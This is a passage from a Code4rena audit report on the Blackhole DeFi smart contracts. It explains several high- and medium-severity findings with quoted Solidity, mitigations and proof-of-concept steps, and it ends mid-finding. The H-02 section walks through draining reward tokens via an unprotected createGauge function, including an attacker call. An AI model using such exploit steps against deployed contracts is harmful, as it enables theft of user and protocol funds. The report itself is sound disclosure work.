code4rena

Blackhole

Smart Contract Security Assessment

Audit dates: May 28 — Jun 09, 2025

Overview

About C4

Code4rena (C4) is a competitive audit platform where security researchers, referred to as Wardens, review, audit, and analyze codebases for security vulnerabilities in exchange for bounties provided by sponsoring projects.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the Blackhole smart contract system. The audit took place from May 28 to June 09, 2025.

Following the C4 audit, 3 wardens (rayss, lonelybones and maxzuvex) reviewed the mitigations for all identified issues; the mitigation review report is appended below the audit report.

Final report assembled by Code4rena.

Summary

The C4 analysis yielded an aggregated total of 24 unique vulnerabilities. Of these vulnerabilities, 2 received a risk rating in the category of HIGH severity and 22 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 13 reports detailing issues with a risk rating of LOW severity or non-critical.

All of the issues presented here are linked back to their original finding, which may include relevant context from the judge and Blackhole team.

Governor findings

Of the identified vulnerabilities, 5 medium severity findings were associated with the Governor contracts.

⚠️ The Blackhole team has decided not to deploy a governor contract at this time.

The sponsors have requested the following note be included:

Blackhole has chosen not to deploy a governor contract at this stage. A more advanced version will be introduced later as per the roadmap, subject to a separate audit.

C4 has included the related findings as a separate section in this report. Original numbering is in continuous order for this section, for ease of reference.

Scope

The code under review can be found within the C4 Blackhole repository, and is composed of 116 smart contracts written in the Solidity programming language and includes 10,108 lines of Solidity code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (2)

[H-01] Router address validation logic error prevents valid router assignment

Submitted by francoHacker, also found by AvantGard, dreamcoder, Egbe, FavourOkerri, harsh123, holtzzx, IzuMan, NexusAudits, rayss, and Sparrow

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/GenesisPoolManager.sol#L314

Finding description

The `setRouter(address _router)` function within the `GenesisPoolManager` contract is intended to allow the contract owner (`owner`) to modify the address of the `router` contract. This router is crucial for interacting with the decentralized exchange (DEX) when adding liquidity during the launch of a `GenesisPool`. However, the function contains a logical flaw in its `require` statement:

```
function setRouter (address _router) external onlyOwner {
```

```
        require(_router == address(0), "ZA"); // <<< LOGICAL ERROR HERE
        router = _router;
    }
```

The line `require(_router == address(0), "ZA");` currently mandates that the `_router` address provided as an argument *must be* the zero address (`address(0)`). If any other address (i.e., a valid, non-zero router address) is supplied, the condition `_router == address(0)` will evaluate to false, and the transaction will revert with the error message "ZA" (presumably "Zero Address").

This means the `setRouter` function's behavior is inverted from what its name and intended purpose imply:

- **Current Behavior:** It only allows the `owner` to set the `router` state variable to `address(0)`. It does not permit updating it to a new, functional router address.
- **Expected Behavior (based on name and usage):** It should allow the `owner` to set the `router` state variable to a new, valid, non-zero router address, likely with a check ensuring `_router` is not `address(0)` (i.e., `require(_router != address(0), "ZA");`).

Root Cause

The root cause of the issue is an incorrect condition in the `require` statement. The developer likely intended either to ensure a non-null router address was not being set (if such a check was desired for some specific reason, though unlikely for a setter) or, probably, to ensure a non-null address *was* being set. Instead, the implemented condition only permits setting a null address.

Impact

The impact of this logical error is significant and can lead to several adverse consequences:

1. **Inability to update the router to a functional address:**
    - If the `router` address is initially set during the `GenesisPoolManager` contract's initialization (via the `initialize` function) and subsequently needs to be changed (e.g., due to a DEX router upgrade, an error in the initial configuration, or the deployment of a new router version), the current `setRouter` function will prevent this update to a functional address. The `owner` would only be able to "clear" the router address by setting it to `address(0)`.
2. **Potential blocking of new pool launches (`_launchPool`):**
    - The internal `_launchPool` function in `GenesisPoolManager` is responsible for finalizing a `GenesisPool`'s process and adding liquidity. This function calls `IGenesisPool(_genesisPool).launch(router, MATURITY_TIME)`, passing the `router` address stored in `GenesisPoolManager`.

- If the `router` address in `GenesisPoolManager` is `address(0)` (either because it was mistakenly set that way initially or because the `owner` used `setRouter` to "clear" it), the call to `IGenesisPool.launch` will attempt to interact with an `IRouter(address(0))`.
- Function calls to `address(0)` typically fail or behave unpredictably (depending on low-level Solidity/EVM implementation details, but practically, they will fail when trying to execute non-existent code or decode empty return data). This will cause the `GenesisPool`'s `launch` function to fail, and consequently, the `GenesisPoolManager`'s `_launchPool` function will also fail.
- As a result, no new `GenesisPool` reaching the launch stage can be successfully launched if the router address is `address(0)`. Funds intended for liquidity (both `nativeToken` and `fundingToken`) could become locked in the `GenesisPool` contract indefinitely, or until an alternative solution is implemented (if possible via governance or contract upgradeability).

3. **Dependency on correct initial configuration:**
   - The system becomes overly reliant on the `router` address being perfectly configured during the `initialize` call. If there's a typo or an incorrect address is provided, there is no way to correct it via `setRouter` unless the contract is upgradeable and the `setRouter` logic itself is updated.
4. **Misleading functionality:**
   - The function name `setRouter` is misleading, as it doesn't "set" a functional router but rather only "clears" it (sets it to `address(0)`). This can lead to administrative errors and confusion.

Severity

High. Although the function is only accessible by the `owner`, its malfunction directly impacts a core functionality of the system (pool launching and liquidity provision). If the router needs to be changed or is misconfigured, this vulnerability can halt a critical part of the protocol.

Recommended mitigation steps

The condition in the `setRouter` function must be corrected to allow setting a non-null router address. The more common and expected logic would be:

```
function setRouter (address _router) external onlyOwner {
    require(_router != address(0), "ZA"); // CORRECTION: Ensure the new
router is not the zero address.
    router = _router;
```

```
}
```

This correction would enable the `owner` to update the `router` address to a new, valid address, ensuring the operational continuity and flexibility of the `GenesisPoolManager`.

Proof of Concept

1. Deploy a mock `GenesisPoolManager`.
2. Deploy mock contracts for `IRouter` (just to have distinct addresses).
3. Show that the `owner` *cannot* set a new, non-zero router address.
4. Show that the `owner` *can* set the router address to `address(0)`.
5. Illustrate (conceptually, as a full launch is complex) how a zero router address would break the `_launchPool` (or rather, the `launch` function it calls).

▶ Details

Explanation of the PoC

1. `SimplifiedGenesisPoolManager`:
    - Contains the `owner`, `router` state variable, and the vulnerable `setRouter` function exactly as described.
    - Includes a `constructor` to set the initial owner and router.
    - Includes `_launchPool` and `testLaunch` to simulate the scenario where a zero router would cause a failure.
2. `MockRouter`: A simple contract implementing `IRouter`. Its `addLiquidity` function sets a flag `wasCalled` to verify interaction.
3. `MockGenesisPool`:
    - Implements a `launch` function.
    - Crucially, `launch` will `revert("Router is address(0)");` if the `_router` argument is `address(0)`, mimicking how a real `launch` would fail if it tried to call `IRouter(address(0)).addLiquidity(...)`.
    - It also attempts to call `IRouter(_router).addLiquidity` to show a successful interaction.
4. `MockPairFactory`: A minimal mock for `IBaseV1Factory` to satisfy dependencies in the simplified `_launchPool`.
5. `GenesisPoolManagerRouterTest` **(Test Contract):**
    - `setUp()`: Deploys the `SimplifiedGenesisPoolManager`, `MockRouter` instances, `MockGenesisPool`, and sets the test contract as the `owner`.
    - `test_ownerCannotSetValidNewRouter()`:

        - The `owner` attempts to call `setRouter` with `newValidRouter` (a non-zero address).
        - `vm.expectRevert("ZA");` asserts that this call reverts with the "ZA" error, proving the `require(_router == address(0), "ZA");` condition is problematic for valid addresses.
    - `test_ownerCanSetRouterToZeroAddress()`:
        - The `owner` calls `setRouter` with `address(0)`.
        - This call succeeds, and the test asserts that `manager.getRouter()` is now `address(0)`.
    - `test_nonOwnerCannotCallSetRouter()`: Standard access control test.
    - `test_launchFailsIfRouterIsZero()`:
        - The `owner` first successfully calls `setRouter(address(0))`.
        - Then, the `owner` calls `manager.testLaunch(mockPool)`.
        - `vm.expectRevert("Router is address(0)");` asserts that this call reverts. The revert comes from `MockGenesisPool.launch()` when it detects the zero address router, demonstrating the downstream failure.
    - `test_launchSucceedsIfRouterIsValid()`:
        - Ensures the router is the initial valid one.
        - The `owner` calls `manager.testLaunch(mockPool)`.
        - This call should succeed, `mockPool.launchCalled()` should be true, and `initialRouter.wasCalled()` should be true.

How to Run (with Foundry):

1. Save the code above as `test/GenesisPoolManagerRouter.t.sol` (or similar) in your Foundry project.
2. Ensure you have `forge-std` (usually included with `forge init`).
3. Run the tests: `forge test --match-test GenesisPoolManagerRouterTest -vvv` (the `-vvv` provides more verbose output, including console logs if you were to add them).

This PoC clearly demonstrates:

- The `setRouter` function's flawed logic.
- The `owner`'s inability to set a new, functional router.
- The `owner`'s ability to set the router to `address(0)`.
- The direct consequence of a zero router address leading to failed pool launches.

Blackhole mitigated

Status: Mitigation confirmed. Full details in reports from rayss, lonelybones and maxvzuvex.

[H-02] Reward token in `GaugeFactoryCL` can be drained by anyone

Submitted by danzero, also found by a39955720, bareli, DarkeEEandMe, Kariukigithinji, mahadev, maxzuvex, wafflewizard, wankleven, and Ziusz

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/AlgebraCLVe33/GaugeFactoryCL.sol#L59

Findings Description and Impact

The `GaugeFactoryCL.sol` contract, responsible for creating `GaugeCL` instances for Algebra Concentrated Liquidity pools, has a public `createGauge` function. Below is the implementation of the function:

```
    function createGauge(address _rewardToken,address _ve,address
_pool,address _distribution, address _internal_bribe, address
_external_bribe, bool _isPair,
                         IGaugeManager.FarmingParam memory farmingParam,
address _bonusRewardToken) external returns (address) {

createEternalFarming(_pool, farmingParam.algebraEternalFarming,
_rewardToken, _bonusRewardToken);
        last_gauge = address(new
GaugeCL(_rewardToken,_ve,_pool,_distribution,_internal_bribe,_external_br
ibe,_isPair, farmingParam, _bonusRewardToken, address(this)));
        __gauges.push(last_gauge);
        return last_gauge;
    }
```

The `GaugeFactoryCL.createGauge` function lacks access control, allowing any external actor to call it. This function, in turn, calls an internal `createEternalFarming` function. Below is the implementation of the `createEternalFarming` function:

```
    function createEternalFarming(address _pool, address
_algebraEternalFarming, address _rewardToken, address _bonusRewardToken)
internal {
        IAlgebraPool algebraPool = IAlgebraPool(_pool);
        uint24 tickSpacing = uint24(algebraPool.tickSpacing());
        address pluginAddress = algebraPool.plugin();
        IncentiveKey memory incentivekey = getIncentiveKey(_rewardToken,
_bonusRewardToken, _pool, _algebraEternalFarming);
        uint256 remainingTimeInCurrentEpoch =
BlackTimeLibrary.epochNext(block.timestamp) - block.timestamp;
        uint128 reward = 1e10;
        uint128 rewardRate = uint128(reward/remainingTimeInCurrentEpoch);

        IERC20(_rewardToken).safeApprove(_algebraEternalFarming, reward);
```

```
        address customDeployer =
IAlgebraPoolAPIStorage(algebraPoolAPIStorage).pairToDeployer(_pool);
        IAlgebraEternalFarming.IncentiveParams memory incentiveParams =
            IAlgebraEternalFarming.IncentiveParams(reward, 0, rewardRate,
0, tickSpacing);

IAlgebraEternalFarmingCustom(_algebraEternalFarming).createEternalFarming
(incentivekey, incentiveParams, pluginAddress, customDeployer);
    }
```

It is designed to seed a new Algebra eternal farming incentive with an initial, hardcoded amount of 1e10 of the `_rewardToken`. It achieves this by having `GaugeFactoryCL` approve the `algebraEternalFarming` contract, which is then expected to pull these tokens from `GaugeFactoryCL`.

If the `GaugeFactoryCL` contract is pre-funded with reward tokens to facilitate this initial seeding for legitimate gauges, an attacker can repeatedly call the `createGauge` function which will trigger the `createEternalFarming` process, causing the reward token to be transferred from `GaugeFactoryCL` to a new Algebra farm associated with a pool specified by the attacker ultimately draining the reward token from the `GaugeFactoryCL` contract.

The attacker can then potentially stake a Liquidity Provider (LP) NFT into this newly created (spam) `GaugeCL` and its associated Algebra farm, and subsequently claim that reward.

Recommended mitigation steps

Implement robust access control on the `GaugeFactoryCL.createGauge()` function, restricting its execution to authorized administrators or designated smart contracts, thereby preventing unauthorized calls.

Proof of Concept

1. Protocol admin pre-funds `GaugeFactoryCL` with `5e10` of USDC (50,000).
2. Attacker calls `GaugeFactoryCL.createGauge()`:

```
 IGaugeFactoryCL(GFCL_ADDRESS).createGauge(
     USDC_ADDRESS,       // _rewardToken
     VE_ADDRESS,
     TARGET_POOL_ADDRESS,
     ATTACKER_ADDRESS,   // _distribution
     ATTACKER_ADDRESS,   // _internal_bribe
     ATTACKER_ADDRESS,   // _external_bribe
     true,               // _isPair
     farmingParams,      // including ALGEBRA_ETERNAL_FARMING_ADDRESS
     ZERO_ADDRESS        // _bonusRewardToken
```

```
);
```

3. The public `createGauge` function is entered which calls its internal `createEternalFarming(_pool, farmingParam.algebraEternalFarming, USDC_ADDRESS, _bonusRewardToken)`.
4. Execution within `GaugeFactoryCL.createEternalFarming()`:

```
function createEternalFarming(address _pool, address
_algebraEternalFarming, address _rewardToken, address _bonusRewardToken)
internal {
    // ...
    uint128 reward = 1e10; // 10,000 USDC
    // ...
    // GaugeFactoryCL approves AlgebraEternalFarming to spend its USDC
    IERC20(_rewardToken /* USDC_ADDRESS
*/).safeApprove(_algebraEternalFarming, reward);
    // ...
    // Call to AlgebraEternalFarming which will pull the approved USDC

IAlgebraEternalFarmingCustom(_algebraEternalFarming).createEternalFarming
(incentivekey, incentiveParamsWithReward, pluginAddress, customDeployer);
}
```

5. Execution within `AlgebraEternalFarming.createEternalFarming()` here:

```
/// @inheritdoc IAlgebraEternalFarming
  function createEternalFarming(
    IncentiveKey memory key,
    IncentiveParams memory params,
    address plugin
  ) external override onlyIncentiveMaker returns (address virtualPool) {
    address connectedPlugin = key.pool.plugin();
    if (connectedPlugin != plugin || connectedPlugin == address(0))
revert pluginNotConnected();
    if (IFarmingPlugin(connectedPlugin).incentive() != address(0)) revert
anotherFarmingIsActive();

    virtualPool = address(new EternalVirtualPool(address(this),
connectedPlugin));
    IFarmingCenter(farmingCenter).connectVirtualPoolToPlugin(virtualPool,
IFarmingPlugin(connectedPlugin));

    key.nonce = numOfIncentives++;
```

```
    incentiveKeys[address(key.pool)] = key;
    bytes32 incentiveId = IncentiveId.compute(key);
    Incentive storage newIncentive = incentives[incentiveId];

    (params.reward, params.bonusReward) = _receiveRewards(key,
params.reward, params.bonusReward, newIncentive);
    if (params.reward == 0) revert zeroRewardAmount();

    unchecked {
      if (int256(uint256(params.minimalPositionWidth)) >
(int256(TickMath.MAX_TICK) - int256(TickMath.MIN_TICK)))
        revert minimalPositionWidthTooWide();
    }
    newIncentive.virtualPoolAddress = virtualPool;
    newIncentive.minimalPositionWidth = params.minimalPositionWidth;
    newIncentive.pluginAddress = connectedPlugin;

    emit EternalFarmingCreated(
      key.rewardToken,
      key.bonusRewardToken,
      key.pool,
      virtualPool,
      key.nonce,
      params.reward,
      params.bonusReward,
      params.minimalPositionWidth
    );

    _addRewards(IAlgebraEternalVirtualPool(virtualPool), params.reward,
params.bonusReward, incentiveId);
    _setRewardRates(IAlgebraEternalVirtualPool(virtualPool),
params.rewardRate, params.bonusRewardRate, incentiveId);
  }
```

6. It calls the `_receiveRewards` function here:

```
  function _receiveRewards(
    IncentiveKey memory key,
    uint128 reward,
    uint128 bonusReward,
    Incentive storage incentive
  ) internal returns (uint128 receivedReward, uint128
receivedBonusReward) {
    if (!unlocked) revert reentrancyLock();
    unlocked = false; // reentrancy lock
```

```
    if (reward > 0) receivedReward = _receiveToken(key.rewardToken,
reward);
    if (bonusReward > 0) receivedBonusReward =
_receiveToken(key.bonusRewardToken, bonusReward);
    unlocked = true;

    (uint128 _totalRewardBefore, uint128 _bonusRewardBefore) =
(incentive.totalReward, incentive.bonusReward);
    incentive.totalReward = _totalRewardBefore + receivedReward;
    incentive.bonusReward = _bonusRewardBefore + receivedBonusReward;
  }
```

7. It calls the `_receiveToken` function here:

```
  function _receiveToken(IERC20Minimal token, uint128 amount) private
returns (uint128) {
    uint256 balanceBefore = _getBalanceOf(token);
    TransferHelper.safeTransferFrom(address(token), msg.sender,
address(this), amount);
    uint256 balanceAfter = _getBalanceOf(token);
    require(balanceAfter > balanceBefore);
    unchecked {
      uint256 received = balanceAfter - balanceBefore;
      if (received > type(uint128).max) revert invalidTokenAmount();
      return (uint128(received));
    }
  }
```

8. `1e10` (10,000) USDC has been transferred to the new algebra farm.
9. Attacker repeats step 2 to 6 for 5 times to fully transfer 50,000 USDC out of the `GaugeCLFactory` contract.
10. Attacker stakes relevant LP NFT into the spam gauges through the `GaugeCL.deposit` function:

```
    function deposit(uint256 tokenId) external nonReentrant
isNotEmergency {
        require(msg.sender ==
nonfungiblePositionManager.ownerOf(tokenId));

        nonfungiblePositionManager.approveForFarming(tokenId, true,
farmingParam.farmingCenter);
```

```
        (IERC20Minimal rewardTokenAdd, IERC20Minimal bonusRewardTokenAdd,
IAlgebraPool pool, uint256 nonce) =
                algebraEternalFarming.incentiveKeys(poolAddress);
        IncentiveKey memory incentivekey = IncentiveKey(rewardTokenAdd,
bonusRewardTokenAdd, pool, nonce);
        farmingCenter.enterFarming(incentivekey, tokenId);
        emit Deposit(msg.sender, tokenId);
    }
```

11. Attacker directly calls the `AlgebraEternalFarming.claimReward` function to claim the rewards [here]:

```
  /// @inheritdoc IAlgebraEternalFarming
  function claimReward(IERC20Minimal rewardToken, address to, uint256
amountRequested) external override returns (uint256 reward) {
    return _claimReward(rewardToken, msg.sender, to, amountRequested);
  }

  function _claimReward(IERC20Minimal rewardToken, address from, address
to, uint256 amountRequested) internal returns (uint256 reward) {
    if (to == address(0)) revert claimToZeroAddress();
    mapping(IERC20Minimal => uint256) storage userRewards =
rewards[from];
    reward = userRewards[rewardToken];

    if (amountRequested == 0 || amountRequested > reward) amountRequested
= reward;

    if (amountRequested > 0) {
      unchecked {
        userRewards[rewardToken] = reward - amountRequested;
      }
      TransferHelper.safeTransfer(address(rewardToken), to,
amountRequested);
      emit RewardClaimed(to, amountRequested, address(rewardToken),
from);
    }
  }
```

Blackhole commented:

Blackhole Protocol disputes the classification of this issue as high severity, noting that the protocol is designed to deposit no more than `$0.10` worth of BLACK tokens, an amount sufficient to spawn over a million liquidity pools on Blackhole.

Blackhole mitigated

Status: Mitigation confirmed. Full details in reports from lonelybones and rayss.

Medium Risk Findings (13)

[M-01] `MinterUpgradeable`: double-subtracting smNFT burns causes rebase underpayment

Submitted by lonelybones, also found by Akxai, codexNature, hakunamatata, and holtzzx

https://github.com/code-423n4/2025-05-blackhole/blob/main/contracts/VotingEscrow.sol#L297

Finding description and impact

Root Cause: Incorrect `circulatingBlack` calculation in `MinterUpgradeable.calculate_rebase()`

The `MinterUpgradeable.calculate_rebase()` function (`contracts/MinterUpgradeable.sol#L132`) incorrectly calculates `circulatingBlack` when Supermassive NFTs (smNFTs) are present.

1. **smNFT Creation Burns `BLACK`:** `BLACK` tokens are burned when smNFTs are created/augmented in `VotingEscrow.sol` (e.g., `contracts/VotingEscrow.sol#L796`, `#L933`). This correctly reduces `BLACK.totalSupply()` (`contracts/Black.sol#L97`).
2. **`_blackTotal` is Post-Burn Supply:** `MinterUpgradeable.calculate_rebase()` reads this already-reduced `totalSupply` into `_blackTotal` (`contracts/MinterUpgradeable.sol#L127`).
3. **Double Subtraction Flaw:** The calculation for `circulatingBlack` effectively becomes `_blackTotal - _veTotal - _smNFTBalance`. Since `_blackTotal` is already net of the burned `_smNFTBalance`, `_smNFTBalance` is erroneously subtracted twice.

Impact

Misallocation of minted emissions (high severity): this double-subtraction results in an artificially low `circulatingBlack` value. The rebase formula (`Rebase ~ _weeklyMint * (circulatingBlack / blackSupply)^2 / 2`) is highly sensitive to this error.

- **Understated Rebase:** The `rebaseAmount` paid to `RewardsDistributor` (for LPs/stakers) is significantly lower than intended.
- **Overstated Gauge Emissions:** Consequently, emissions allocated to gauges (`_gauge = _emission - _rebase - _teamEmissions`) are significantly overstated.

- **Economic Imbalance:** This systematically diverts value from LPs/stakers to `veBLACK` voters who direct gauge emissions, undermining the protocol's economic model. The misallocation is persistent and scales with the total `_smNFTBalance`.

The Proof of Concept demonstrates this flaw, leading to a tangible misdirection of emissions each epoch. This directly affects a new core feature (smNFTs) and critical system logic.

Recommended mitigation steps

Correct the `circulatingBlack` calculation in `MinterUpgradeable.calculate_rebase()` (contracts/MinterUpgradeable.sol#L132).

Given `_blackTotal = _black.totalSupply()` (already reduced by smNFT burns) and `_veTotal = _black.balanceOf(address(_ve))`:

Corrected `circulatingBlack` calculation:

```
// In MinterUpgradeable.calculate_rebase()
uint circulatingBlack_corrected = _blackTotal - _veTotal;
```

This ensures `_smNFTBalance` (representing tokens already removed from `_blackTotal`) is not subtracted again. The blackSupply denominator (`_blackTotal + _superMassiveBonus`) can remain, as it reflects an effective total supply including smNFT bonus effects.

Proof of Concept

A Hardhat test (`test/poc-rebase-miscalculation.js`), utilizing necessary mock contracts, has been developed to demonstrate the vulnerability.

The PoC executes the following key steps:

1. Deploys core contracts (`Black`, `VotingEscrow`, `MinterUpgradeable`) and required mocks.
2. Creates both a standard veNFT lock and a Supermassive NFT (smNFT), triggering the `BLACK` token burn for the smNFT.
3. Advances time to enable a new minting period via `MinterUpgradeable.update_period()`.
4. **Compares rebase calculations:** It invokes `MinterUpgradeable.calculate_rebase()` and compares this value to a manually corrected calculation that rectifies the double-subtraction of `_smNFTBalance`.
5. **Verifies emission misallocation:** It calls `MinterUpgradeable.update_period()` to perform the actual minting and distribution. It then asserts that:
    - The `BLACK` tokens transferred to the (mocked) `RewardsDistributor` match the contract's flawed, lower rebase calculation.

    - The `BLACK` tokens approved for the (mocked) `GaugeManager` are consequently higher than they would be with a correct rebase, and this excess precisely matches the amount miscalculated from the rebase.

Key findings demonstrated by the PoC:

- The contract's `calculate_rebase()` function yields a significantly lower rebase amount than the correctly calculated value when `_smNFTBalance > 0`.
- This understated rebase amount is what is actually distributed.
- The difference (the "misallocated amount") is verifiably diverted towards gauge emissions.

The full PoC script and mock contracts will be provided below. The test passes and includes detailed console logs to trace the state and calculations.

`poc_rebase_miscalculation.js`:

▶ Details

`contracts/mocks/GaugeManagerMock.sol`:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

// Corrected path: go up one level from 'mocks' to 'contracts', then into
'interfaces'
import { IBlackGovernor } from "../interfaces/IBlackGovernor.sol";

contract GaugeManagerMock {
    address public blackGovernor;
    uint256 public lastRewardAmount; // Added to observe notified amount

    function notifyRewardAmount(uint256 amount) external {
        lastRewardAmount = amount;
    }

    function getBlackGovernor() external view returns (address) {
        return blackGovernor;
    }

    function setBlackGovernor(address _gov) external { // Added for setup
convenience
        blackGovernor = _gov;
    }
}
```

`contracts/mocks/RewardsDistributorMock.sol`:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract RewardsDistributorMock {
    // event TokenCheckpointed(); // Optional: if you want to verify it's
called

    function checkpoint_token() external {
        // emit TokenCheckpointed(); // Optional
    }
}
```

contracts/mocks/BlackGovernorMock.sol:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

// Assuming IBlackGovernor.sol is in contracts/interfaces/
// Corrected path: go up one level from 'mocks' to 'contracts', then into
'interfaces'
import { IBlackGovernor } from "../interfaces/IBlackGovernor.sol";

contract BlackGovernorMock {
    IBlackGovernor.ProposalState public mockProposalState =
IBlackGovernor.ProposalState.Pending;

    function status() external view returns
(IBlackGovernor.ProposalState) {
        return mockProposalState;
    }

    // Helper to change state for testing if needed
    function setMockProposalState(IBlackGovernor.ProposalState _newState)
external {
        mockProposalState = _newState;
    }
}
```

Blackhole mitigated

Status: Mitigation confirmed. Full details in reports from lonelybones, rayss and maxvzuvex.

[M-02] Critical access control flaw: Role removal logic incorrectly grants unauthorized roles

Submitted by rayss, also found by KineticsOfWeb3

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/PermissionsRegistry.sol#L113

Finding description

The `removeRole()` function incorrectly updates a user's role list by replacing a removed role with the last role from the `global_roles` array. This results in unintended and unauthorized role assignments to users.

The `removeRole()` function correctly removes a role from the system by deleting it from the global roles list. However, when updating the users' assigned roles arrays, the current logic mistakenly replaces the removed role with the last role from the global roles list rather than just deleting the role from the array.

When removing a role from a user's assigned roles array (`_addressToRoles[user]`), the function tries to keep the array compact by replacing the role to be removed with the last element of the `global_roles` array. This is incorrect because it mistakenly assigns a completely unrelated role from the global roles list to the user, corrupting their role assignments.

This causes unrelated global roles to be incorrectly assigned to the user whose role is being removed.

Proof of Concept (Example)

Assume the `global_roles` array contains:

```
["GOVERNANCE", "VOTER_ADMIN", "GAUGE_ADMIN", "BRIBE_ADMIN"]
```

Alice has two roles:

```
_addressToRoles[Alice] = ["VOTER_ADMIN", "GAUGE_ADMIN"]
```

Calling `removeRole("GAUGE_ADMIN")` results in:

```
_addressToRoles[Alice][1] = _roles[_roles.length - 1]; // "BRIBE_ADMIN"
```

```
_addressToRoles[Alice].pop();// removes last element
```

Alice's roles become:

```
["VOTER_ADMIN", "BRIBE_ADMIN"]
```

Now Alice has Alice unintentionally gains the `BRIBE_ADMIN` role without authorization.

Impact

- This bug leads to privilege escalation — a user can be granted a role they were never assigned, simply due to role removal logic. If roles like `BRIBE_ADMIN` or `GAUGE_ADMIN` are mistakenly granted.
- Broken access control due to corrupted role removal logic.

Severity Justification

This issue is classified as high severity because it directly compromises the integrity of the protocol's access control system. By unintentionally assigning incorrect roles during the removal process, users may be granted powerful administrative permissions such as `GAUGE_ADMIN` or `BRIBE_ADMIN` (or any other role) without proper authorization. These roles often govern critical operations, which can influence protocol behavior.

Recommended mitigation steps

```
for (uint i = 0; i < atr.length; i++) {
    if (keccak256(atr[i]) == keccak256(_role)) {
        atr[i] = atr[atr.length - 1]; // Replace with last element
        atr.pop();                    // Remove last element
        break;
    }
}
```

The mitigation correctly updates the user's assigned roles array (`_addressToRoles[user]`) without referencing the `global_roles` array. When removing a role, it swaps the role to be removed with the last element in the user's own roles array and then removes (pops) the last element. This preserves the compactness and order of the array while ensuring only roles actually assigned to the user remain.

Crucially, it avoids mistakenly assigning unrelated roles from the `global_roles` list, preventing corruption of the user's role data and maintaining accurate access control.

Blackhole mitigated

Status: Mitigation confirmed. Full details in reports from rayss and maxvzuvex.

The sponsor team requested that the following note be included:

This issue originates from the upstream codebase, inherited from ThenaV2 fork. Given that ThenaV2 has successfully operated at scale for several months without incident, we assess the severity of this issue as low. The implementation has been effectively battle-tested in a production environment, which significantly reduces the practical risk associated with this finding. Reference: https://github.com/ThenafiBNB/THENA-Contracts/blob/main/contracts/PermissionsRegistry.sol#L108

[M-03] `1e10` fixed farming reward in `GaugeFactoryCL`

Submitted by danzero

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/AlgebraCLVe33/GaugeFactoryCL.sol#L75

Finding descriptions and impact

Below is the implementation of the `createEternalFarming` function in `GaugeFactoryCL.sol`:

```
    function createEternalFarming(address _pool, address
_algebraEternalFarming, address _rewardToken, address _bonusRewardToken)
internal {
        IAlgebraPool algebraPool = IAlgebraPool(_pool);
        uint24 tickSpacing = uint24(algebraPool.tickSpacing());
        address pluginAddress = algebraPool.plugin();
        IncentiveKey memory incentivekey = getIncentiveKey(_rewardToken,
_bonusRewardToken, _pool, _algebraEternalFarming);
        uint256 remainingTimeInCurrentEpoch =
BlackTimeLibrary.epochNext(block.timestamp) - block.timestamp;
        uint128 reward = 1e10;
        uint128 rewardRate = uint128(reward/remainingTimeInCurrentEpoch);

        IERC20(_rewardToken).safeApprove(_algebraEternalFarming, reward);
        address customDeployer =
IAlgebraPoolAPIStorage(algebraPoolAPIStorage).pairToDeployer(_pool);
        IAlgebraEternalFarming.IncentiveParams memory incentiveParams =
            IAlgebraEternalFarming.IncentiveParams(reward, 0, rewardRate,
0, tickSpacing);

IAlgebraEternalFarmingCustom(_algebraEternalFarming).createEternalFarming
```

```
  (incentivekey, incentiveParams, pluginAddress, customDeployer);
      }
```

This function is responsible for setting up initial incentives for Algebra concentrated liquidity farms, it uses a hardcoded reward amount of `1e10` raw units. This fixed amount is then used to determine the `rewardRate` for the initial seeding of the Algebra farm (`rewardRate = uint128(reward/remainingTimeInCurrentEpoch)`).

The core issue is that `1e10` raw units represent a vastly different actual value and intended incentive level depending on the `_rewardToken` number of decimals:

- For an 18-decimal token: `1e10` raw units is 0.00000001 of a full token. This is typically an insignificant "dust" amount.
- For a 6-decimal token (e.g., USDC): `1e10` raw units is 10,000 full tokens (`$10,000 if 1 token = $1`).
- For an 8-decimal token (e.g., WBTC): `1e10` raw units is 100 full tokens (`$10,000,000 if 1 token = $100,000`).

This fixed raw unit amount does not adapt to the specific `_rewardToken` being used for the gauge. As a result, if `_rewardToken` is low decimal token such as `USDC` or `WBTC` the resulting `rewardRate` will be astronomically high which cause a huge loss for the protocol.

Recommended mitigation steps

Modify the `GaugeFactoryCL.createGauge` function to accept an initial reward amount parameter. This allows the caller to specify an appropriate seed amount tailored to the specific `_rewardToken`, its decimals, and its value.

Blackhole mitigated

Status: Mitigation confirmed. Full details in reports from maxvzuvex.

[M-04] Logic error in AVM original owner resolution

Submitted by maze, also found by maxzuvex

https://github.com/code-423n4/2025-05-blackhole/blob/main/contracts/RewardsDistributor.sol#L196-L247

Finding description

The RewardsDistributor contract contains an inconsistency in how it handles tokens managed by the Auto Voting Escrow Manager (AVM) system. In the `claim()` function, there's code to check if a token is managed by AVM and, if so, to retrieve the original owner for sending rewards. However, this critical check is missing in the `claim_many()` function.

This creates a discrepancy in reward distribution where:

- `claim()` correctly sends rewards to the original owner of an AVM-managed token
- `claim_many()` incorrectly sends rewards to the current NFT owner (the AVM contract itself)

Relevant code from `claim()`:

```
if (_locked.end < block.timestamp && !_locked.isPermanent) {
    address _nftOwner = IVotingEscrow(voting_escrow).ownerOf(_tokenId);
    if (address(avm) != address(0) && avm.tokenIdToAVMId(_tokenId) != 0)
{
        _nftOwner = avm.getOriginalOwner(_tokenId);
    }
    IERC20(token).transfer(_nftOwner, amount);
}
```

Relevant code from `claim_many()`:

```
